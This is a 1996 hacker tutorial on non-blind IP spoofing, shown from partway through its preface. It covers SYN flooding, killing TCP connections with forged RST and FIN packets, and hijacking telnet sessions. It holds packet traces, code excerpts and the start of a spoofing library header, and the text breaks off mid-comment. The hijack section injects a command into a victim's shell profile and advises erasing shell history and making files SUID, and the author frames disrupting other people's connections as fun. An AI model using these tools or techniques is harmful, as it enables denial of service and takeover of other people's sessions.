9000 Gent 12 Belgium If YOU think of yourself, you are "3><Tr3/\/\3lY 3Le3T", please don't bother contacting me. Flames >/dev/null or >/dev/echo depends on how smart you are. It is not wise to use what you don't know/understand, so read this before trying anything... it will only take a few minutes, and probably save you some hours of failure... This code is not crippled in the usual way (removing some vital parts), the power is limited by it's briefness, because I wanted to keep everything simple and illustrative (but working). It's a simple job to improve it, and that is the goal of this doc, that you improve it yourself. Thanks too Wim Vandeputte for spellchecking, and putting up with my constant nagging about IP during the writing of this sh!t... 0.2 For whom ------------ For people with an elementary knowledge of TCP/IP, some knowledge on C (only the basic setup) and some general UNIX knowledge. It's no use reading this document if you are completely unaware of these things, but mind you, only a little knowledge is enough. 0.3 Disclaimer -------------- I am in no way responsible for the use of this code. By using this software and reading this document you accept the fact that any damage (emotional, physical, dataloss and the end of the world as we know it ...) caused by the use or storage of these programs/documents is not MY responsability. I state that during the writing and testing of this document/source, I never violated any law. All spoofing was done between machines where I had legit root access, or where I had the permission from the legit root. This code can be written by any competent programmer, so this source is not so harmfull as some will say (cauz' I'm sure some people won't like this degree of disclosure). 0.4 Licence ----------- All source code and text is freely available. You can spread it, as long as you don't charge for it (exceptions are a small reproduction fee, if it isn't spread together with commercial software, texts.) You may not spread parts of the document, it should be spread as one package. You may not modify the text and/or source code. You can use the spoofit.h or derived code in your own programs as long as they are not commercial (i.e. FREE), and you give me the credits for it. 1. Short explanation of some words ---------------------------------- This is a short explanation of some words you might see in the text/source. You probably know all this, but I put it in here anyway. Sniffit My favourite Packet Sniffer, all sniffed sequences in this document where created with it. Sniffit can be obtained from: http://reptile.rug.ac.be/~coder/sniffit/sniffit.html Off course any other decent sniffer will do (but this one wears my personal marks and approval). (At time of writing a pre-release 0.3.2) IP-spoofing (further referenced to as spoofing) The forging of IP packets NOTE that not only IP based protocols are spoofed. NOTE that spoofing is also used on a constructive base (LAN spoofing, not discussed here). NOTE that I don't use it on a constructive base ;) Non-blind spoofing Using the spoofing to interfer with a connection that sends packets along your subnet (so generally one of the 2 hosts involved is located on your subnet, or all data traffic has to be passing your network device,... you might consider taking a job at some transatlantic route provider). Blind spoofing Using the spoofing to interfer with a connection (or creating one), that does not send packets along your cable. 2. Description of sourcecode ---------------------------- 2.1 Source included ------------------- spoofit.h The include file that provides some easy to use spoofing functions. To understand the include file and it's functions, read the header of that file for use of the C functions. *.c Example programs (on the use of spoofit.h) that are discussed in this document. Details on these programs are included in the appropriate sections. sniper-rst.c Basic TCP connection killer. (denial-of-services) sniper-fin.c Basic TCP connection killer. (denial-of-services) hijack.c Simple automated telnet connection hijacker. 2.2 Programmer notes -------------------- These programs are just examples. That means, they could be improved a lot. Because I wanted to keep them short and leave some stuff to your imagination, they are very simple. However they all work and are a good starting point. 3. TCP/IP (UDP) in an hazelnutshell ----------------------------------- Because it has been explained enough in 'Phrack Volume Seven, Issue Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of documentation available on the subject I will only repeat some things very briefly. (Please read the phrack #48 file or any other document on the subject before reading this). A connection is fully defined with 4 parameters, a source host and port, and a destination host and port. When you make a connection, data is send in packets. Packets take care of low level trafic, and make sure the data arrives (sometimes with special error handling). The spine of most networks is the IP protocol version 4. It is totally independent of all hardware protocols. TCP and UDP are higher level protocols wrapped up in IP packets. All those packets consist of a header and data. IP header contains (amongst other things): IP of source and destination hosts for that packet, and the protocol type of the packet wrapped up in it. (TCP=6, UDP=17, etc.). UDP packets contain (amongst other things): port number of source and destination host. UDP has no such thing as SEQ/ACK, it is a very weak protocol. TCP packets contain (amongst other things): port number of source and destination host, sequence and acknowledge numbers (further refered to as SEQ/ACK), and a bunch of flags. SEQ number: is counted byte per byte, and gives you the number of the NEXT byte to be send, or that is send in this packet. ACK number: is the SEQ number that is expected from the other host. SEQ numbers are chosen at connection initiation. I said is was going to be short... If you didn't understand the above text, read up on it first, because you won't understand sh!t of the rest. 4. Non-blind spoofing --------------------- 4.1 Know what you are doing --------------------------- The concept of non-blind spoofing (NBS further in this doc) is pretty simple. Because packets travel within your reach, you can get the current sequence and acknowledge (SEQ/ACK further in this doc) numbers on the connection. NBS is thus a very easy and accurate method of attack, but limited to connections going over your subnet. In spoofing documentation these attacks are sometimes ommited, because they are mostly 'denial-of-service' attacks, or because people don't realise the advantage a spoof (in particulary a hijack) can have above simple password sniffing. Spoofing in generally is refered to as a verry high level of attack. This refers to blind spoofing (BlS further in this doc), because NBS is kidstuff for a competent coder. 4.2 SYN flooding ---------------- Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of 18'. I won't waste much time on it. Setup: host A <-----][----------X--------------->host B | host S <-----------------/ Concept: Host S impersonates SYN (connection init) coming from host A, to host B. Host A should be unreachable (e.g. turned off, non existant,...). B sends out the second packet of the 3 way TCP handshake. Host B will now wait for response of host A. If host A is reachable it will tell host B (with a reset: RST) that it DID NOT inititate a connection, and thus host B received a bogus packet. (In that case host B will ingnore the SYN, and *normally* nothing will happen) So if A is unreachable, B will wait for response some time. When doing multiple attacks, the backlog of host B is going to be exceeded and host B will not except new connections (read on TCP bugs for additional features ;) for some time. 4.3 Connection Killing ---------------------- Setup: host A <------X------------------------->host B | A,B have a TCP connection running host S <------/ A,S on same subnet (setup is the same in both cases) Use: Clearing mudders of your net, annoying that dude typing an important paper, etc... plain fun. 4.3.1 Using reset (RST) ----------------------- Concept: TCP packets have flags which indicate the status of the packet, like RST. That is a flag used to reset a connection. To be accepted, only the sequence number has to be correct (there is no ACK in a RST packet). So we are going to wait for packets in a connection between A and B. Assume we wait for packets to A. We will calculate (from B's packets) the sequence number for A's packets (from B's ACK's), and fire a bogus RST packet from S (faking to be A) to B. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) (This is a good example of how things not always go as you want, see below for a solution) 1) connection running... we wait for a packet to get current SEQ/ACK (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679 FLAGS: -AP--- Window: 3400 (data removed because irrelevant, 2 bytes data) 2) This is the ACK of it + included data (witch causes SEQ number to change, and thus messing up our scheme, because this came very fast.) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant, 2 bytes data) 3) ACK of it. (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) further data (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD767B ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant) 5) ACK of it (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691 FLAGS: -A---- Window: 3400 6) Now we get 2 RST packets. How do you explain that? Well, the first reset packet has been buffered somewhere on our system, because the ethernet segment was busy when we wanted to send it. This is the 'unexpected thing' I discussed above, here we are lucky, the data stream cooled down so fast. When it doesn't cool down so fast, we could miss our RST (or the connection will be killed a little later then when we wanted), you'll see some idea's on how to fix that problem. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 FLAGS: ---R-- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7691 FLAGS: ---R-- (This was the packet that killed the connection) Discussion of the program: The discussion here is a bit weird , that is because 'sniper-rst.c' is not designed to be an optimal killer, merly to be an example. We have the problem of speed here. We miss some packets what causes those resends. So we would design a better 'sniper' if we do the following: - use blocking IO (not necessarilly, because the RST killer would loose some of it's beauty (looping), this is dealt with in the FIN killer example. Blocking is a little faster when a lot of packets come after each other.) - multi-packet firing... fire more packets with incremented SEQ. (this is commented in the source) - waiting for a pure ACK packet (no data), because otherwise you risk to much of getting mid transmission and not being fast enough. (disadvantage is the 'waiting period' before the connection is killed) NOTE these examples were done on non-loaded networks, with non-loaded servers, what makes it a worst case scenario for speed problems. 4.3.2 Closing a connection (FIN) -------------------------------- Concept: An other flag is FIN and says: "no more data from sender". This flag is used when closing a connection down the normal legit way. So if there was a way to make a packet that is accepted by one of the two hosts, this host would believe the 'sender' didn't have any data left. Following (real) packets would be ignored as they are considered bogus. That's it, because we can sniff the current SEQ/ACK of the connection we can pretend to be either host A or B, and provide the other host with CORRECT packetinformation, and an evil FIN flag. The beauty of it all is, that after a FIN is send the other host always replies with one if it is accepted, so we have a way to verify our killing, and can be 100% sure of success (if for some reason we missed a SEQ or ACK, we can just resend). RST killing is more popular and is prefered, but I've put this in as an example, and I like it myself. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection is running.... sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' and waits for a packet to take action (we need to get SEQ/ACK) (mind you switching host A and B would be the same, only S would be impersonating A instead of B) suddenly a packet arrives... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98B ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E > 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A . ~~~~~~~~~ > 2 data bytes 2) sniper detected it, and sends a bogus packet. (S as B -> A) We calculate our SEQ as: ACK of (A->B) packet We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet (19C6B98B + 2 = 19C6B98D) (so we tell A, we received the last packet, and will not transmit further data) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---F Window: 7C00 (data removed because irrelevant) 3) host A now says: 'okay, you end the session, so here is my last data' (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) host A now has flushed its buffer and on his turn FIN's the connection. (A->B) sniper, intercepts this packet and now knows the hosts fell for the spoof and the killing was a success! (host A will no longer accept any data) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---F Window: 3400 (data removed because irrelevant) 5) We impersonated B, making A believe we had no further data. But B doesn't know that and continues to send packets. (B->A) host A has that connection closed, and thus thinks the real packets of B are spoofed (or at least bogus)! So host A sends some reset packets (RST). TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---- Window: 3750 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D FLAGS: ---R-- (data removed because irrelevant) 6) This goes on for a couple of packets. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} We use wait_packet on a non blocking socket. This way we can enable a 10 seconds timeout. This functions returns when the correct packet has been delivered (or timeout). 2) sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq,sp_ack,ACK|FIN); We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we don't send any data with it, our buffer is set to NULL and datalength to 0. NOTE together with FIN, you need to enable ACK. 3) N/A 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) {printf("Killed the connection...\n"); exit(0);} We wait for a FIN packet (note the FIN in wait_packet). We use a 5 sec. timeout, if the function returns and stat>=0 (-1 on timeout), we know our attempt was successfull. 5) N/A 6) N/A NOTE We can have the same problem here as with the RST killer. But didn't have it here, because the packet we responded upon was the end of a data stream (in fact it was an echo from a shell command) 4.3.3 Improving --------------- Except from multipacket firing, it is advised to launch 2 attacks (one in both ways). This illiminates one side oriented connections to be handled optimally. I think of things like downloading data, which is a one way data-flow, it is much easier sending a RST from the (spoofed) receiver to the sender, then the other way around. Those 2 attacks could both impersonate host A and B, and thus giving is 4 times more chance of a succesfull kill. I'll leave further experimenting up to you (use your imagination to handle different situations). 4.4 Connection Hijacking ------------------------ Setup: host A <------X------------------------->host B | A,B have a TCP connection running (TELNET) host S <------/ A,S on same subnet Concept: (suppose a TELNET from A (client) to B (server)) TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B trusts the packets from A because of its correct SEQ/ACK numbers. So if there was a way to mess up A's SEQ/ACK, B would stop believing A's real packets. We could then impersonate to be A, but using correct SEQ/ACK numbers (that is numbers correct for B). We would now have taken over the connection (host A is confused, B thinks nothings wrong (almost correct, see 'actual attack'), and S sends 'correct' data to B). This is called 'Hijacking' a connection. (generally hijacking a TELNET session, but same could be done woth FTP, RLOGIN, etc...) How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data packet into the stream at the right time (S as A->B), the server B would accept this data, and update ACK numbers, A would continue to send it's old SEQ numbers, as it's unaware of our spoofed data. Use: I allready hear you wiseguys yelling: "Hey dude, why hijack a connection if you can sniff those packets anyway??" Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... (S/Key: server challenges client, client and server calculate a code from the challenge and password, and compare that code. The password itself is never send on the cable, so you can't sniff sh!t). (OTP: server has a list of passwords, once one is used, it is destroyed, so sniffing gets you a password that has 'just' expired ;) (ALL types of identification that happen at connection (encrypted or not, trusted or not), and don't use encrypted data transfer, are vulnerable to 'hijacking'.) An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) (suppose a TELNET from A (client) to B (server)) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection running... we look with sniffit, and see he's busy in a shell, we start 'hijack' on host S as 'hijack 166.66.66.1 2035 111.11.11.11' a packet containing from (A->B) is detected... hijack takes action... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EA ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l ~~~~ 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!) (you gotta know what you are doing) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F6 ACK (hex): 5C8223EB FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB . 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l ~~~~ 3) A simple ACK from host A to B responding to that echo. Because we know this can come, and we know a simple ACK doesn't contain data, we don't need this for SEQ/ACK calculation. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -A---- Window: 7C00 (data removed because irrelevant) 4) Now we impersonate further data (following packet 1). (S as A -> B) We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B, because we have to be as fast as possible, and packet 2 could be slow. We send some backspaces and some enters. To clean up the command line. We will probably still get some error message back from the shell. But we handle that too! (see sourcecode) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 0A . 0A . 5) This is the echo of our spoofed data. Look at ACK. (B->A) 5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a success) NOTE that at this point the connection is ours, and A's SEQ/ACK numbers are completely f#cked up according to B. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F7 ACK (hex): 5C8223F5 FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 . 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A . 6) Hijack will now try to get on track of SEQ/ACK numbers again, to send the data we want to be executed. NOTE each time a packet 'out of numbering' arrives the host should answer with correct SEQ/ACK, this provides us with the certainty that a lot of packets are going to be send with correct (and not changing) SEQ/ACK nrs. (this is where the mechanism of getting our numbers back straight is based upon) NOTE it's at this point the real TELNET client's session hangs, most people ignore this and re-login after a few secs, accepting the accident as Murphy's law. (Well it *can* happen without any spoofing involved) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) 7) We are back on track (or at least hijack is, because this is going very fast). And we fire off our faked bash command. echo "echo HACKED" >> $HOME/.profile<ENTER> TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223F5 ACK (hex): C34A680B FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B . 50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . 8) now we wait for this data to be confirmed. ACK = 5C8223F5 + 025 (=37 bytes) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C82241A FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040 (data removed because irrelevant) 9) The connection runs on. Now you can execute more commands (just stay on track of SEQ/ACK), and even finnish the connection (with the same mechanism of sniper, or with sniper itself... here FIN is recommended). NOTE: here it is important to be in a shell. But if you have been watching someone, and you notice he's always directly going to 'pine' and you can't get inbetween on time. NO PROBS.... just make a cleanup string that cleans up 'pine' and puts you back in the shell. (some control chars, hotkeys, whatever....) NOTE: if you clean up the .sh_history of .bash_history (whatever) this attack is one of the nicest there is. Another advantage above sniffing. NOTE: Noone says you have to make a .rhosts file (rlogin and family might be disabled), you can change permissions, put stuff SUID, put it public, install stuff, mail, etc.. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); Waiting for actual data (PSH is always used for packets containing data in interactive services like TELNET) 2) N/A 3) N/A 4) sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER, 23,sp_seq,sp_ack,ACK|PSH); We recalculate the sequence number (using SEQ and datalength of packet 1) an we send a spoofed packet with ACK and PSH flag, containing the cleanup data in to_data. 5) while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; We wait for a confirmation that our spoofed sequence is accepted. We expect a packet with an ACK set (PSH or not). It should come within 5 packets, we use this limit, because we should be able to handle some previous ACK packets! NOTE we don't check SEQ nrs, because we have no clue of what they are going to be (data might have been send our way, or not). 6) while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; To get back on track, we try to receive 2 ACK packets without data with the same SEQ/ACK. We know enough packets will be send as a response to incorrect packets from the confused host A. This is how we get back on track. NOTE In a case where A completely gave up, simple spoof a packet with incorrect SEQ/ACK to get the correct numbers back. 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); Pretty clear.... 8) while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; and again waiting for confirmation. NOTE after the above attack, hijack had produced the following output: Starting Hijacking demo - Brecht Claerhout 1996 ----------------------------------------------- Takeover phase 1: Stealing connection. Sending Spoofed clean-up data... Waiting for spoof to be confirmed... Phase 1 ended. Takeover phase 2: Getting on track with SEQ/ACK's again Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex) Phase 2 ended. Takeover phase 3: Sending MY data. Sending evil data. Waiting for evil data to be confirmed... Phase 3 ended. 4.5 Other --------- This list is far from complete, I'm sure you can think of other nice things to do with this information, think, experiment and code! 5. The source code ------------------ ---=[ spoofit.h ]=------------------------------------------------------------ /**************************************************************************/ /* Spoofit.h - Include file for easy creating of spoofed TCP packets */ /* Requires LINUX 1.3.x (or later) Kernel */ /* (illustration for 'A short overview of IP spoofing') */ /* V.1 - Copyright 1996 - Brecht Claerhout */ /* */ /* Purpose - Providing skilled people with a easy to use spoofing source */ /* I used it to be able to write my tools fast and short. */ /* Mind you this is only illustrative and can be easily */ /* optimised. */ /* */ /* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This file is for educational purposes only. I am in */ /* NO way responsible for what you do with this file, */ /* or any damage you or this file causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* If you know a little about your OS, shouldn't be to hard */ /* to port. */ /* */ /* Important note - You might have noticed I use non standard packet */ /* header struct's. How come?? Because I started like */ /* that on Sniffit because I wanted to do the */ /* bittransforms myself. */ /* Well I got so damned used to them, I keep using them, */ /* they are not very different, and not hard to use, so */ /* you'll easily use my struct's without any problem, */ /* this code and the examples show how to use them. */ /* my apologies for this inconvenience. */ /* */ /* None of this code can be used in commercial software. You are free to */ /* use it in any other non-commercial software (modified or not) as long */ /* as you give me the credits for it. You can spread this include file, */ /* but keep it unmodified. */ /* */ /**************************************************************************/ /* */ /* Easiest way to understand this library is to look at the use of it, in */ /* the example progs. */ /* */ /**** Sending packets *****************************************************/ /* */ /* int open_sending (void) */ /* Returns a filedescriptor to the sending socket. */ /* close it with close (int filedesc) */ /* */ /* void transmit_TCP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_tcpoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest,unsigned short sp_dest_port, */ /* unsigned long sp_seq, unsigned long sp_ack, */ /* unsigned short sp_flags) */ /* fire data away in a TCP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options (you should do the padding) */ /* TCP options (you should do the padding) */ /* data to be transmitted */ /* (NULL is nothing) */ /* note that all is optional, and IP en TCP options are*/ /* not often used. */ /* All data is put after eachother in one buffer. */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_tcpoptlen : length of TCP options (in bytes) */ /* sp_datalen : amount of data to be transmitted (bytes) */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* sp_seq : sequence number of packet */ /* sp_ack : ACK of packet */ /* sp_flags : flags of packet (URG,ACK,PSH,RST,SYN,FIN) */ /* */ /* void transmit_UDP (int sp_fd, char *sp_data, */ /* int sp_ipoptlen, int sp_datalen, */ /* char *sp_source, unsigned short sp_source_port, */ /* char *sp_dest, unsigned short sp_dest_port) */ /* fire data away in an UDP packet */ /* sp_fd : raw socket filedesc. */ /* sp_data : IP options */ /* data to be transmitted */ /* (NULL if none) */ /* sp_ipoptlen : length of IP options (in bytes) */ /* sp_datalen : amount of data to be transmitted */ /* sp_source : spoofed host that"sends packet" */ /* sp_source_port: spoofed port that "sends packet" */ /* sp_dest : host that should receive packet */ /* sp_dest_port : port that should receive packet */ /* */ /**** Receiving packets ***************************************************/ /* */ /* int open_receiving (char *rc_device, char mode) */ /* Returns fdesc to a receiving socket */ /* (if mode: IO_HANDLE don't call this twice, global var */ /* rc_fd_abc123 is initialised) */ /* rc_device: the device to use e.g. "eth0", "ppp0" */ /* be sure to change DEV_PREFIX accordingly! */ /* DEV_PREFIX is the length in bytes of the header that */ /* comes with a SOCKET_PACKET due to the network device */ /* mode: 0: normal mode, blocking, (read will wait till packet */ /* comes, mind you, we are in PROMISC mode) */ /* IO_NONBLOCK: non-blocking mode (read will not wait till */ /* usefull for active polling) */ /* IO_HANDLE installs the signal handler that updates SEQ,ACK,..*/ /* (IO_HANDLE is not recommended to use, as it should be */ /* modified according to own use, and it works bad on heavy */ /* traffic continuous monitoring. I needed it once, but left it */ /* in to make you able to have a look at Signal handled IO, */ /* personally I would have removed it, but some thought it */ /* doesn't do any harm anyway, so why remove... ) */ /* (I'm not giving any more info on IO_HANDLE as it is not */ /* needed for the example programs, and interested people can */ /* easilythey figure the code out theirselves.) */ /* (Besides IO_HANDLE can only be called ONCE in a program, */ /* other modes multiple times) */ /* */ /* int get_packet (int rc_fd, char *buffer, int *TCP_UDP_start, */ /* unsigned char *proto) */ /* This waits for a packet (mode default) and puts it in buffer or */ /* returns whether there is a pack or not (IO_NONBLOCK). */ /* It returns the packet length if there is one available, else 0 */ /* */ /* int wait_packet(int wp_fd,struct sp_wait_packet *ret_values, */ /* char *wp_source, unsigned short wp_source_port, */ /* char *wp_dest, unsigned short wp_dest_port, */ /* int wp_flags, int wait_time); */ /* wp_fd: a receiving socket (default or IO_NONBLOCK) */ /* ret_values: pointer to a sp_wait_packet struct, that contains SEQ, */ /* ACK, flags, datalen of that packet. For further packet */ /* handling see the examples. */ /* struct sp_wait_packet { */ /* unsigned long seq,ack; */ /* unsigned short flags; */ /* int datalen; */ /* }; */ /* wp_source, wp_source_port : sender of packet */ /* wp_dest, wp_dest_port : receiver of packet */ /* wp_flags: flags that should be present in packet.. (mind you there */ /* could be more present, so check on return) */ /* note: if you don't care about flag, use 0 */ /* wait_time: if not zero, this function will return -1 if no correct */ /* packet has arrived within wait_time 